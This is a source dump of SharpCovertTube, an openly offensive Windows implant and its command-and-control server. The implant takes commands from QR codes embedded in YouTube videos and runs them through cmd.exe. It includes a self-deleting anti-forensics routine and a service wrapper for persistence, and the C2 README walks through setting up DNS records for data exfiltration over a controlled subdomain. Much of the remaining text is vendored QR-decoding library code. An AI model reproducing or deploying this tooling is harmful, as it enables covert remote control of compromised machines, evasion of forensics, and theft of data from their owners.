ServiceState.SERVICE_START_PENDING; 68 | serviceStatus.dwWaitHint = 100000; 69 | SetServiceStatus(this.ServiceHandle, ref serviceStatus); 70 | 71 | eventLog1.WriteEntry("Starting service..."); 72 | 73 | while (!IsConnectedToInternet()) 74 | { 75 | System.Threading.Thread.Sleep(1000 * 60); 76 | } 77 | 78 | eventLog1.WriteEntry("Got internet connection..."); 79 | System.Threading.Thread.Sleep(1000 * 2); 80 | SharpCovertTube.Start(); 81 | 82 | // Update the service state to Running. 83 | serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING; 84 | SetServiceStatus(this.ServiceHandle, ref serviceStatus); 85 | } 86 | 87 | protected override void OnStop() 88 | { 89 | // Update the service state to Stop Pending. 90 | ServiceStatus serviceStatus = new ServiceStatus(); 91 | serviceStatus.dwCurrentState = ServiceState.SERVICE_STOP_PENDING; 92 | serviceStatus.dwWaitHint = 100000; 93 | SetServiceStatus(this.ServiceHandle, ref serviceStatus); 94 | 95 | eventLog1.WriteEntry("Stopping service..."); 96 | 97 | // Update the service state to Stopped. 98 | serviceStatus.dwCurrentState = ServiceState.SERVICE_STOPPED; 99 | SetServiceStatus(this.ServiceHandle, ref serviceStatus); 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /SharpCovertTube/CmdFunctions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Diagnostics; 5 | using System.Runtime.InteropServices; 6 | using static SharpCovertTube.Win32; 7 | 8 | namespace SharpCovertTube 9 | { 10 | internal class CmdFunctions 11 | { 12 | public static string OrdinaryCmd(string command) 13 | { 14 | string output = ""; 15 | using (Process process = new Process()) 16 | { 17 | process.StartInfo.FileName = "cmd.exe"; 18 | process.StartInfo.Arguments = "/c " + command; 19 | process.StartInfo.UseShellExecute = false; 20 | process.StartInfo.RedirectStandardOutput = true; 21 | process.Start(); 22 | StreamReader reader2 = process.StandardOutput; 23 | output = reader2.ReadToEnd(); 24 | process.WaitForExit(); 25 | } 26 | return output; 27 | } 28 | 29 | 30 | public static void DeleteAndKill() 31 | { 32 | StringBuilder fname = new System.Text.StringBuilder(MAX_PATH); 33 | GetModuleFileName(IntPtr.Zero, fname, MAX_PATH); 34 | string filename = fname.ToString(); 35 | string new_name = ":Random"; 36 | 37 | // Handle to current file 38 | IntPtr hFile = CreateFileW(filename, DELETE | SYNCHRONIZE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); 39 | 40 | // Creating FILE_RENAME_INFO struct 41 | filerenameinfo_struct fri = new filerenameinfo_struct(); 42 | fri.ReplaceIfExists = true; 43 | fri.RootDirectory = IntPtr.Zero; 44 | uint FileNameLength = (uint)(new_name.Length * 2); 45 | fri.FileNameLength = FileNameLength; 46 | int size = Marshal.SizeOf(typeof(filerenameinfo_struct)) + (new_name.Length + 1) * 2; 47 | 48 | IntPtr fri_addr = IntPtr.Zero; 49 | unsafe 50 | { 51 | // Get Address of FILE_RENAME_INFO struct 52 | filerenameinfo_struct* pfri = &fri; 53 | fri_addr = (IntPtr)pfri; 54 | 55 | // Copy new file name (bytes) to filename member in FILE_RENAME_INFO struct 56 | byte* p = fri.filename; 57 | byte[] filename_arr = Encoding.Unicode.GetBytes(new_name); 58 | foreach (byte b in filename_arr) 59 | { 60 | *p = b; 61 | p += 1; 62 | } 63 | } 64 | // Rename file calling SetFileInformationByHandle 65 | int sfibh_res = SetFileInformationByHandle(hFile, FileInformationClass.FileRenameInfo, fri_addr, size); 66 | 67 | // Close handle to finally rename file 68 | bool ch_res = CloseHandle(hFile); 69 | 70 | // Handle to current file 71 | IntPtr hFile2 = CreateFileW(filename, DELETE | SYNCHRONIZE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); 72 | 73 | // Creating FILE_DISPOSITION_INFO struct 74 | filedispositioninfo_struct fdi = new filedispositioninfo_struct(); 75 | fdi.DeleteFile = true; 76 | IntPtr fdi_addr = IntPtr.Zero; 77 | int size_fdi = Marshal.SizeOf(typeof(filedispositioninfo_struct)); 78 | 79 | unsafe 80 | { 81 | // Get Address of FILE_DISPOSITION_INFO struct 82 | filedispositioninfo_struct* pfdi = &fdi; 83 | fdi_addr = (IntPtr)pfdi; 84 | } 85 | 86 | // Rename file calling SetFileInformationByHandle 87 | int sfibh_res2 = SetFileInformationByHandle(hFile2, FileInformationClass.FileDispositionInfo, fdi_addr, size_fdi); 88 | 89 | // Close handle to finally delete file 90 | bool ch_res2 = CloseHandle(hFile2); 91 | 92 | // Exiting... 93 | Environment.Exit(0); 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /SharpCovertTube/HelperFunctions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Net; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | 8 | 9 | namespace SharpCovertTube 10 | { 11 | internal class HelperFunctions 12 | { 13 | public static string Base64Encode(string plainText) 14 | { 15 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText); 16 | return System.Convert.ToBase64String(plainTextBytes); 17 | } 18 | 19 | 20 | public static string Base64Decode(string base64EncodedData) 21 | { 22 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData); 23 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes); 24 | } 25 | 26 | public static string ByteArrayToStr(byte[] DataArray) 27 | { 28 | Decoder decoder = Encoding.UTF8.GetDecoder(); 29 | int CharCount = decoder.GetCharCount(DataArray, 0, DataArray.Length); 30 | char[] CharArray = new char[CharCount]; 31 | decoder.GetChars(DataArray, 0, DataArray.Length, CharArray, 0); 32 | return new string(CharArray); 33 | } 34 | 35 | 36 | // Source: https://stackoverflow.com/questions/4133377/splitting-a-string-number-every-nth-character-number 37 | public static IEnumerable SplitInParts(String s, Int32 partLength) 38 | { 39 | if (s == null) 40 | { 41 | throw new ArgumentNullException(nameof(s)); 42 | } 43 | if (partLength <= 0) 44 | { 45 | throw new ArgumentException("Part length has to be positive.", nameof(partLength)); 46 | } 47 | for (var i = 0; i < s.Length; i += partLength) 48 | yield return s.Substring(i, Math.Min(partLength, s.Length - i)); 49 | } 50 | 51 | 52 | // AES Decrypt 53 | public static string DecryptStringFromBytes(String cipherTextEncoded, byte[] Key, byte[] IV) 54 | { 55 | byte[] cipherText = Convert.FromBase64String(cipherTextEncoded); 56 | if (cipherText == null || cipherText.Length <= 0) 57 | throw new ArgumentNullException("cipherText"); 58 | if (Key == null || Key.Length <= 0) 59 | throw new ArgumentNullException("Key"); 60 | if (IV == null || IV.Length <= 0) 61 | throw new ArgumentNullException("IV"); 62 | string plaintext = null; 63 | using (RijndaelManaged rijAlg = new RijndaelManaged()) 64 | { 65 | rijAlg.Key = Key; 66 | rijAlg.IV = IV; 67 | ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV); 68 | using (MemoryStream msDecrypt = new MemoryStream(cipherText)) 69 | { 70 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 71 | { 72 | using (StreamReader srDecrypt = new StreamReader(csDecrypt)) 73 | { 74 | plaintext = srDecrypt.ReadToEnd(); 75 | } 76 | } 77 | } 78 | } 79 | return plaintext; 80 | } 81 | 82 | 83 | public static string getRequest(string url) 84 | { 85 | WebRequest wrGETURL = WebRequest.Create(url); 86 | Stream objStream = wrGETURL.GetResponse().GetResponseStream(); 87 | StreamReader objReader = new StreamReader(objStream); 88 | string json_response_str = ""; 89 | string sLine = ""; 90 | while (sLine != null) 91 | { 92 | json_response_str += sLine; 93 | sLine = objReader.ReadLine(); 94 | } 95 | return json_response_str; 96 | } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/HelperFunctions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Net; 5 | using System.Security.Cryptography; 6 | using System.Text; 7 | 8 | namespace SharpCovertTube_Service 9 | { 10 | internal class HelperFunctions 11 | { 12 | public static string Base64Encode(string plainText) 13 | { 14 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText); 15 | return System.Convert.ToBase64String(plainTextBytes); 16 | } 17 | 18 | 19 | public static string Base64Decode(string base64EncodedData) 20 | { 21 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData); 22 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes); 23 | } 24 | 25 | public static string ByteArrayToStr(byte[] DataArray) 26 | { 27 | Decoder decoder = Encoding.UTF8.GetDecoder(); 28 | int CharCount = decoder.GetCharCount(DataArray, 0, DataArray.Length); 29 | char[] CharArray = new char[CharCount]; 30 | decoder.GetChars(DataArray, 0, DataArray.Length, CharArray, 0); 31 | return new string(CharArray); 32 | } 33 | 34 | 35 | // Source: https://stackoverflow.com/questions/4133377/splitting-a-string-number-every-nth-character-number 36 | public static IEnumerable SplitInParts(String s, Int32 partLength) 37 | { 38 | if (s == null) 39 | { 40 | throw new ArgumentNullException(nameof(s)); 41 | } 42 | if (partLength <= 0) 43 | { 44 | throw new ArgumentException("Part length has to be positive.", nameof(partLength)); 45 | } 46 | for (var i = 0; i < s.Length; i += partLength) 47 | yield return s.Substring(i, Math.Min(partLength, s.Length - i)); 48 | } 49 | 50 | 51 | // AES Decrypt 52 | public static string DecryptStringFromBytes(String cipherTextEncoded, byte[] Key, byte[] IV) 53 | { 54 | byte[] cipherText = Convert.FromBase64String(cipherTextEncoded); 55 | if (cipherText == null || cipherText.Length <= 0) 56 | throw new ArgumentNullException("cipherText"); 57 | if (Key == null || Key.Length <= 0) 58 | throw new ArgumentNullException("Key"); 59 | if (IV == null || IV.Length <= 0) 60 | throw new ArgumentNullException("IV"); 61 | string plaintext = null; 62 | using (RijndaelManaged rijAlg = new RijndaelManaged()) 63 | { 64 | rijAlg.Key = Key; 65 | rijAlg.IV = IV; 66 | ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV); 67 | using (MemoryStream msDecrypt = new MemoryStream(cipherText)) 68 | { 69 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 70 | { 71 | using (StreamReader srDecrypt = new StreamReader(csDecrypt)) 72 | { 73 | plaintext = srDecrypt.ReadToEnd(); 74 | } 75 | } 76 | } 77 | } 78 | return plaintext; 79 | } 80 | 81 | 82 | public static string getRequest(string url) 83 | { 84 | WebRequest wrGETURL = WebRequest.Create(url); 85 | Stream objStream = wrGETURL.GetResponse().GetResponseStream(); 86 | StreamReader objReader = new StreamReader(objStream); 87 | string json_response_str = ""; 88 | string sLine = ""; 89 | while (sLine != null) 90 | { 91 | json_response_str += sLine; 92 | sLine = objReader.ReadLine(); 93 | } 94 | return json_response_str; 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /SharpCovertTube/SharpCovertTube.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E} 8 | Exe 9 | SharpCovertTube 10 | SharpCovertTube 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | 7.3 55 | prompt 56 | true 57 | true 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /SharpCovertTube_Service/SharpCovertTube_Service.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {D926FC20-E5B8-403C-99F4-DBEF665D4563} 8 | WinExe 9 | SharpCovertTube_Service 10 | SharpCovertTube_Service 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | SharpCovertTube_Service.Program 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | Component 60 | 61 | 62 | ProjectInstaller.cs 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | Component 73 | 74 | 75 | SharpCovertTube_Service.cs 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | ProjectInstaller.cs 86 | 87 | 88 | SharpCovertTube_Service.cs 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /c2-server/README.md: -------------------------------------------------------------------------------- 1 | # c2-server 2 | 3 | Script to generate a video, upload it to Youtube and receive the DNS responses from the SharpCovertTube client. 4 | 5 | - "generate": Create a QR video 6 | - "upload": Upload a video to Youtube 7 | - "listen": Listen for DNS queries 8 | - "all": Create a QR video + Upload a video to Youtube + Listen for DNS queries 9 | - "exit": Exit the program 10 | 11 | ![c2_0](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/c2_0.png) 12 | 13 | Generating a video with a QR image: 14 | 15 | ![c2_1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/c2_1.png) 16 | 17 | Uploading the video: 18 | 19 | ![c2_2](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/c2_2.png) 20 | 21 | Listening for DNS queries and decoding/decrypting the results: 22 | 23 | ![c2_3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/c2_3.png) 24 | 25 | Generating video + Uploading video + Listening for DNS queries: 26 | 27 | ![c2_4](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/sharpcoverttube/c2_4.png) 28 | 29 | -------------------------- 30 | 31 | ## Installation 32 | 33 | ``` 34 | apt-get install libgl1 35 | pip install dnslib pillar-youtube-upload Pillow opencv-python pyqrcode pypng pycryptodome rebus 36 | ``` 37 | 38 | If port 53 is in use you may need to stop the systemd-resolved service: 39 | 40 | ``` 41 | sudo systemctl stop systemd-resolved 42 | ``` 43 | 44 | -------------------------- 45 | 46 | ## Configuration 47 | 48 | ### A. Youtube 49 | 50 | It is necessary to complete the **config.py** file: 51 | 52 | - **client_id** and **client_secret**: 53 | - Go to the [Google's credentials page](https://console.cloud.google.com/apis/credentials) 54 | - Click "Create Credentials" > "OAuth client ID" and select the "Web application" app type 55 | - Use "http://localhost:8080" as redirect URI and click "Create" 56 | - Open the OAuth client ID to grab the values 57 | 58 | - **access_token_** and **refresh_token_**: 59 | - Access the following page (after changing "YOUR_CLIENT_ID" with your client_id value): 60 | 61 | https://accounts.google.com/o/oauth2/auth?client_id=YOUR_CLIENT_ID&redirect_uri=http://localhost:8080&response_type=code&scope=https://www.googleapis.com/auth/youtube.upload&access_type=offline 62 | 63 | - Grab the "code" value from the previous request and execute the following CURL request (after changing "YOUR_CODE" with the code value, "YOUR_CLIENT_ID" with your client_id value and "YOUR_CLIENT_SECRET" with your client_secret value): 64 | 65 | curl --request POST --data "code=YOUR_CODE&client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&redirect_uri=http://localhost:8080&grant_type=authorization_code" https://oauth2.googleapis.com/token 66 | 67 | - **ns_subdomain**: The subdomain for DNS exfiltration, in this case we will use the subdomain "steve" 68 | - **log_file** (default: "log.txt"): File to store the logs 69 | - **show_banner** (default: False): Show the banner 70 | 71 | 72 | ### B. DNS configuration (DigitalOcean and GoDaddy) 73 | 74 | If you have not configured the DNS domain and is already pointing to a server you control, you can do it using DigitalOcean and GoDaddy. 75 | 76 | Create a project in DigitalOcean, connect the GoDaddy's domain to it and create a droplet. 77 | 78 | ![img2b](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/dns-exfiltration/Screenshot_2b.png) 79 | 80 | Then, add the following DNS records: 81 | 82 | - "A" record for your domain, for example "domain.com", pointing to the droplet's IP address. 83 | - "A" record for subdomain "ns" pointing to the droplet's IP address. 84 | - "NS" record for a subdomain, for example "steve", pointing to the droplet's IP address. 85 | - NOTE: This is the subdomain we will use for DNS exfiltration. 86 | - "NS" record redirecting to ns1.digitalocean.com (if not already in there). 87 | - "NS" record redirecting to ns2.digitalocean.com (if not already in there). 88 | - "NS" record redirecting to ns3.digitalocean.com (if not already in there). 89 | 90 | ![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/dns-exfiltration/Screenshot_3.png) 91 | 92 | After purchasing a domain in GoDaddy, visit the "DNS Management" section in GoDaddy ([https://dcc.godaddy.com/manage/YOUR_DOMAIN/dns](https://dcc.godaddy.com/manage/YOUR_DOMAIN/dns)). You have to add an entry in the "Hostname" subsection, which will contain the host "ns" and will point to your DigitalOcean droplet's IP address: 93 | 94 | ![img1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/dns-exfiltration/Screenshot_1.png) 95 | 96 | Then, in "Nameservers" subsection, add the DigitalOcean nameservers if they are not already in there (ns1.digitalocean.com, ns2.digitalocean.com and ns3.digitalocean.com): 97 | 98 | ![img2](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/dns-exfiltration/Screenshot_2.png) 99 | -------------------------------------------------------------------------------- /SharpCovertTube/QRCodeDecoder/Finder.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code finder class. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | 46 | namespace SharpCovertTube.QRCodeDecoder 47 | { 48 | /// 49 | /// QR code finder class 50 | /// 51 | internal class Finder 52 | { 53 | // horizontal scan 54 | internal int Row; 55 | internal int Col1; 56 | internal int Col2; 57 | internal double HModule; 58 | 59 | // vertical scan 60 | internal int Col; 61 | internal int Row1; 62 | internal int Row2; 63 | internal double VModule; 64 | 65 | internal double Distance; 66 | internal double ModuleSize; 67 | 68 | /// 69 | /// Constructor during horizontal scan 70 | /// 71 | internal Finder 72 | ( 73 | int Row, 74 | int Col1, 75 | int Col2, 76 | double HModule 77 | ) 78 | { 79 | this.Row = Row; 80 | this.Col1 = Col1; 81 | this.Col2 = Col2; 82 | this.HModule = HModule; 83 | Distance = double.MaxValue; 84 | return; 85 | } 86 | 87 | /// 88 | /// Match during vertical scan 89 | /// 90 | internal void Match 91 | ( 92 | int Col, 93 | int Row1, 94 | int Row2, 95 | double VModule 96 | ) 97 | { 98 | // test if horizontal and vertical are not related 99 | if (Col < Col1 || Col >= Col2 || Row < Row1 || Row >= Row2) return; 100 | 101 | // Module sizes must be about the same 102 | if (Math.Min(HModule, VModule) < Math.Max(HModule, VModule) * QRDecoder.MODULE_SIZE_DEVIATION) return; 103 | 104 | // calculate distance 105 | double DeltaX = Col - 0.5 * (Col1 + Col2); 106 | double DeltaY = Row - 0.5 * (Row1 + Row2); 107 | double Delta = Math.Sqrt(DeltaX * DeltaX + DeltaY * DeltaY); 108 | 109 | // distance between two points must be less than 2 pixels 110 | if (Delta > QRDecoder.HOR_VERT_SCAN_MAX_DISTANCE) return; 111 | 112 | // new result is better than last result 113 | if (Delta < Distance) 114 | { 115 | this.Col = Col; 116 | this.Row1 = Row1; 117 | this.Row2 = Row2; 118 | this.VModule = VModule; 119 | ModuleSize = 0.5 * (HModule + VModule); 120 | Distance = Delta; 121 | } 122 | return; 123 | } 124 | 125 | /// 126 | /// Horizontal and vertical scans overlap 127 | /// 128 | internal bool Overlap 129 | ( 130 | Finder Other 131 | ) 132 | { 133 | return Other.Col1 < Col2 && Other.Col2 >= Col1 && Other.Row1 < Row2 && Other.Row2 >= Row1; 134 | } 135 | 136 | /// 137 | /// Finder to string 138 | /// 139 | public override string ToString() 140 | { 141 | if (Distance == double.MaxValue) 142 | { 143 | return string.Format("Finder: Row: {0}, Col1: {1}, Col2: {2}, HModule: {3:0.00}", Row, Col1, Col2, HModule); 144 | } 145 | 146 | return string.Format("Finder: Row: {0}, Col: {1}, Module: {2:0.00}, Distance: {3:0.00}", Row, Col, ModuleSize, Distance); 147 | } 148 | } 149 | } -------------------------------------------------------------------------------- /SharpCovertTube_Service/QRCodeDecoder/Finder.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code finder class. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | using System.Text; 46 | 47 | namespace SharpCovertTube_Service.QRCodeDecoder 48 | { 49 | /// 50 | /// QR code finder class 51 | /// 52 | internal class Finder 53 | { 54 | // horizontal scan 55 | internal int Row; 56 | internal int Col1; 57 | internal int Col2; 58 | internal double HModule; 59 | 60 | // vertical scan 61 | internal int Col; 62 | internal int Row1; 63 | internal int Row2; 64 | internal double VModule; 65 | 66 | internal double Distance; 67 | internal double ModuleSize; 68 | 69 | /// 70 | /// Constructor during horizontal scan 71 | /// 72 | internal Finder 73 | ( 74 | int Row, 75 | int Col1, 76 | int Col2, 77 | double HModule 78 | ) 79 | { 80 | this.Row = Row; 81 | this.Col1 = Col1; 82 | this.Col2 = Col2; 83 | this.HModule = HModule; 84 | Distance = double.MaxValue; 85 | return; 86 | } 87 | 88 | /// 89 | /// Match during vertical scan 90 | /// 91 | internal void Match 92 | ( 93 | int Col, 94 | int Row1, 95 | int Row2, 96 | double VModule 97 | ) 98 | { 99 | // test if horizontal and vertical are not related 100 | if (Col < Col1 || Col >= Col2 || Row < Row1 || Row >= Row2) return; 101 | 102 | // Module sizes must be about the same 103 | if (Math.Min(HModule, VModule) < Math.Max(HModule, VModule) * QRDecoder.MODULE_SIZE_DEVIATION) return; 104 | 105 | // calculate distance 106 | double DeltaX = Col - 0.5 * (Col1 + Col2); 107 | double DeltaY = Row - 0.5 * (Row1 + Row2); 108 | double Delta = Math.Sqrt(DeltaX * DeltaX + DeltaY * DeltaY); 109 | 110 | // distance between two points must be less than 2 pixels 111 | if (Delta > QRDecoder.HOR_VERT_SCAN_MAX_DISTANCE) return; 112 | 113 | // new result is better than last result 114 | if (Delta < Distance) 115 | { 116 | this.Col = Col; 117 | this.Row1 = Row1; 118 | this.Row2 = Row2; 119 | this.VModule = VModule; 120 | ModuleSize = 0.5 * (HModule + VModule); 121 | Distance = Delta; 122 | } 123 | return; 124 | } 125 | 126 | /// 127 | /// Horizontal and vertical scans overlap 128 | /// 129 | internal bool Overlap 130 | ( 131 | Finder Other 132 | ) 133 | { 134 | return Other.Col1 < Col2 && Other.Col2 >= Col1 && Other.Row1 < Row2 && Other.Row2 >= Row1; 135 | } 136 | 137 | /// 138 | /// Finder to string 139 | /// 140 | public override string ToString() 141 | { 142 | if (Distance == double.MaxValue) 143 | { 144 | return string.Format("Finder: Row: {0}, Col1: {1}, Col2: {2}, HModule: {3:0.00}", Row, Col1, Col2, HModule); 145 | } 146 | 147 | return string.Format("Finder: Row: {0}, Col: {1}, Module: {2:0.00}, Distance: {3:0.00}", Row, Col, ModuleSize, Distance); 148 | } 149 | } 150 | } -------------------------------------------------------------------------------- /SharpCovertTube/QRCodeDecoder/QRCodeTrace.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code trace for debuging. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | using System.IO; 46 | 47 | namespace SharpCovertTube.QRCodeDecoder 48 | { 49 | #if DEBUG 50 | ///////////////////////////////////////////////////////////////////// 51 | // Trace Class 52 | ///////////////////////////////////////////////////////////////////// 53 | 54 | static public class QRCodeTrace 55 | { 56 | private static string TraceFileName; // trace file name 57 | private static int MaxAllowedFileSize = 1024*1024; 58 | 59 | ///////////////////////////////////////////////////////////////////// 60 | // Open trace file 61 | ///////////////////////////////////////////////////////////////////// 62 | 63 | public static void Open 64 | ( 65 | string FileName 66 | ) 67 | { 68 | // save full file name 69 | TraceFileName = Path.GetFullPath(FileName); 70 | Write("----"); 71 | return; 72 | } 73 | 74 | ///////////////////////////////////////////////////////////////////// 75 | // write to trace file 76 | ///////////////////////////////////////////////////////////////////// 77 | 78 | public static void Format 79 | ( 80 | string Message, 81 | params Object[] ArgArray 82 | ) 83 | { 84 | if(ArgArray.Length == 0) Write(Message); 85 | else Write(string.Format(Message, ArgArray)); 86 | return; 87 | } 88 | 89 | ///////////////////////////////////////////////////////////////////// 90 | // write to trace file 91 | ///////////////////////////////////////////////////////////////////// 92 | 93 | public static void Write 94 | ( 95 | string Message 96 | ) 97 | { 98 | Console.WriteLine("Message: \t" + Message); 99 | // test file length 100 | TestSize(); 101 | 102 | // open existing or create new trace file 103 | StreamWriter 